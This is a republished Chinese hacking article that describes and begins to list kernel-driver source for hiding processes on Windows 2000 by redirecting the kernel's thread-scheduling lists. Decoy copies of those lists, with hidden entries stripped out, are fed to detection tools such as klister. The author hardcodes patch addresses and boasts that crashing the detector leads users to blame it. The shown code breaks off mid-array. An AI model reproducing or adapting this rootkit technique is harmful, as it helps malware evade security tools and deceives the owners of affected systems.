网络通信 频道

绕过内核调度链表进程检测

一般隐藏进程的方法实际是无法彻底隐藏进程,因为内核调度是基于线程的。下面介绍我实现的一种更隐蔽的隐藏进程的方法。我们知道线程调度内核使用3条调度链表KiWaitInListHead=0x80482258 、KiWaitOutListhead=0x80482808 、KiDispatcherReadyListHead=0x804822e0(这个链表实际是32个LIST_ENTRY的数组,对应32个优先级),事实上还有几个平衡集管理器的链表KiProcessOutSwapListHead 、KiProcessOutSwapListHead 、KiStackInSwapListHead含有进程和线程信息,但它们在绝大多数时候是空链表,因为平衡集管理器只有在页面出错率太高或者空闲列表太少时才被唤醒执行实际工作,所以链表中不会有太多项,而且很快就被执行完。
  
  首先要先在非分页内存中分配对应的LIST_ENTRY结构,然后将原始调度链表内容移动到新链表。在操作链表时要先把IRQL提升到Dispatcher Level,然后请求一个自旋锁.操作结束后释放自旋锁并恢复IRQL(内核里任何涉及到操作内核调度数据结构的例程都是先调用KiLockDispatcherDatabase,操作结束后调用KiUnlockDispatcherDatabase,原理大体和前面说到的操作相似,不同的就是KiUnlockDispatcherDatabase在释放自旋锁并恢复IRQL后若有就绪线程的话就进行环境切换)。系统中用到KiWaitInListHead的例程:KeWaitForSingleObject()、 KeWaitForMultipleObject()、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。前3个例程都调用了宏KiInsertWaitList。最后一个由于调用了宏RemoveEntryList,所以汇编代码会产生2个0x8048280c。如果不连它们一起替换的话就会出错(系统可以正常运行一段时间,但是在调度新线程时就会重启,因为原链表已经完全乱了-_-)。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。值得同样注意的是KiSetPriorityThread也调用了RemoveEntryList宏,所以也会产生1个0x804822e4。还好它们并不难找,因为如果有它们都跟在原始链表地址后面。(因为宏RemoveEntryList不会单独调用)。然后把系统中所有用到的这些调度链表全换成新的链表。替换后再把新的链表复制回旧链表,以达到欺骗检测程序的目的。事实上,我开始时只是简单的复制链表,结果运行klister时机器重启了,真是意外收获啊,这样大数普通用户会认为是klister出错了:)因为运行klister时系统又经过了无数次线程调度,原来的链表顺序已经完全混乱了,读取链表就会陷入死循环,因为永远读不到链表头。为了避免这种问题我们就需要分配新的线程对象来欺骗检测系统(因为分配的对象只是为了欺骗,它们并不用于实际用途,所以为了节省点内存空间我分配的结构比真的结构要小),接着就是每隔一段时间复制一份链表,复制过程中去掉我们要隐藏的项。由于所有的地址我都是硬编码的,所以只适用于Windows2000 Build 2195 SP4 中文版,有兴趣的朋友可以自己替换地址移植到WinXP/Win2003下。下面是代码:
  #include "ntddk.h"
  #include "ntifs.h"
  #include "stdio.h"
  #include "stdarg.h"
  
  typedef struct _DEVICE_EXTENSION {
    HANDLE  hWorkerThread;
    KEVENT  ExitEvent;
    PDEVICE_OBJECT  pDeviceObject;
    BOOLEAN  bExit;
  }DEVICE_EXTENSION, *PDEVICE_EXTENSION;
  
  typedef struct _FAKE_ETHREAD{
    DISPATCHER_HEADER      Header;
    LIST_ENTRY         MutantListHead;
    PVOID            InitialStack;
    PVOID            StackLimit;
    struct _TEB         *Teb;
    PVOID            TlsArray;
    PVOID            KernelStack;
    BOOLEAN           DebugActive;
    UCHAR            State;
    USHORT           Alerted;
    UCHAR            Iopl;
    UCHAR            NpxState;
    UCHAR            Saturation;
    UCHAR            Priority;
    KAPC_STATE         ApcState;
    ULONG            ContextSwitches;
    NTSTATUS          WaitStatus;
    UCHAR            WaitIrql;
    UCHAR            WaitMode;
    UCHAR            WaitNext;
    UCHAR            WaitReason;
    PKWAIT_BLOCK        WaitBlockList;
    LIST_ENTRY         WaitListEntry;
    ULONG            WaitTime;
    UCHAR            BasePriority;
    UCHAR            DecrementCount;
    UCHAR            PriorityDecrement;
    UCHAR            Quantum;
    KWAIT_BLOCK         WaitBlock[4];
    ULONG            LegoData;
    ULONG            KernelApcDisable;
    ULONG            UserAffinity;
    BOOLEAN           SystemAffinityActive;
    UCHAR            PowerState;
    UCHAR            NpxIrql;
    UCHAR            Pad[1];
    PSERVICE_DESCRIPTOR_TABLE  ServiceDescriptorTable;
    PKQUEUE           Queue;
    KSPIN_LOCK         ApcQueueLock;
    KTIMER           Timer;
    LIST_ENTRY         QueueListEntry;
    ULONG            Affinity;
    BOOLEAN           Preempted;
    BOOLEAN           ProcessReadyQueue;
    BOOLEAN           KernelStackResident;
    UCHAR            NextProcessor;
    PVOID            CallbackStack;
    PVOID            Win32Thread;
    PKTRAP_FRAME        TrapFrame;
    PKAPC_STATE         ApcStatePointer[2];
    UCHAR            PreviousMode;
    BOOLEAN           EnableStackSwap;
    BOOLEAN           LargeStack;
    UCHAR            ResourceIndex;
    ULONG            KernelTime;
    ULONG            UserTime;
    KAPC_STATE         SavedApcState;
    BOOLEAN           Alertable;
    UCHAR            ApcStateIndex;
    BOOLEAN           ApcQueueable;
    BOOLEAN           AutoAlignment;
    PVOID            StackBase;
    KAPC            SuspendApc;
    KSEMAPHORE         SuspendSemaphore;
    LIST_ENTRY         ThreadListEntry;
    UCHAR            FreezeCount;
    UCHAR            SuspendCount;
    UCHAR            IdealProcessor;
    BOOLEAN           DisableBoost;
    LARGE_INTEGER          CreateTime;
    union {
      LARGE_INTEGER        ExitTime;
      LIST_ENTRY         LpcReplyChain;
    };
    union {
      NTSTATUS          ExitStatus;
      PVOID            OfsChain;
    };
    LIST_ENTRY           PostBlockList;
    LIST_ENTRY           TerminationPortList;
    KSPIN_LOCK           ActiveTimerListLock;
    LIST_ENTRY           ActiveTimerListHead;
    CLIENT_ID            Cid;
  }FAKE_ETHREAD, *PFAKE_ETHREAD;
  
  VOID ReplaceList(PVOID pContext)
  {
    PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
    PLIST_ENTRY pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
    PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
    int i, ChangeList;
    int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176, 0x8046443b, 0x80464441, 0x804644d6};
    int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e, 0x80464494};
    int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
    int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de, 0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
    int SysKiDispatcherReadyListH

 

文章转载地址:http://www.cnpaf.net/Class/hack/0610111049218487049.html

0
相关文章